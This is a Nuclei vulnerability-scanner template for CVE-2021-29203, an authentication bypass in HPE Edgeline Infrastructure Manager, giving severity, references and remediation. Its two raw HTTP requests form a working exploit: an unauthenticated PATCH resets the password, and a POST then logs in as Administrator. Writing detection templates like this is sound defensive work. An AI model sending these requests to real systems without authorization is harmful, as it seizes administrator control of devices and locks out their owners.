nuclei-templates/http/cves/2021/CVE-2021-29203.yaml

64 lines
2.2 KiB
YAML

id: CVE-2021-29203
info:
name: HPE Edgeline Infrastructure Manager <1.22 - Authentication Bypass
author: madrobot
severity: critical
description: HPE Edgeline Infrastructure Manager, also known as HPE Edgeline Infrastructure Management Software, prior to version 1.22 contains an authentication bypass vulnerability which could be remotely exploited to bypass remote authentication and possibly lead to execution of arbitrary commands, gaining privileged access, causing denial of service, and changing the configuration.
remediation: |
Upgrade to HPE Edgeline Infrastructure Manager version 1.22 or later to mitigate this vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2021-15
- https://nvd.nist.gov/vuln/detail/CVE-2021-29203
- https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn04124en_us
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-29203
cwe-id: CWE-306
epss-score: 0.95745
epss-percentile: 0.99223
cpe: cpe:2.3:a:hp:edgeline_infrastructure_manager:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: hp
product: edgeline_infrastructure_manager
tags: hpe,cve,cve2021,bypass,tenable
http:
- raw:
- |
PATCH /redfish/v1/SessionService/ResetPassword/1/ HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/json
{"Password":"{{randstr}}"}
- |
POST /redfish/v1/SessionService/Sessions/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"UserName":"Administrator","Password":"{{randstr}}"}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "X-Auth-Token"
- "PasswordReset"
- "Location"
condition: and
- type: word
part: body
words:
- "Base.1.0.Created"
- type: status
status:
- 201
# digest: 4a0a004730450220420ebf3f21cb9ae9e3a739efb22b7301157ff6ef4ceb2e4e25707e3d79ffce5b022100c2c7eff9ff48146fa85447cc94f13d128b91c84cb14dee82e6e3bb667ef0448c:922c64590222798bb761d5b6d8e72950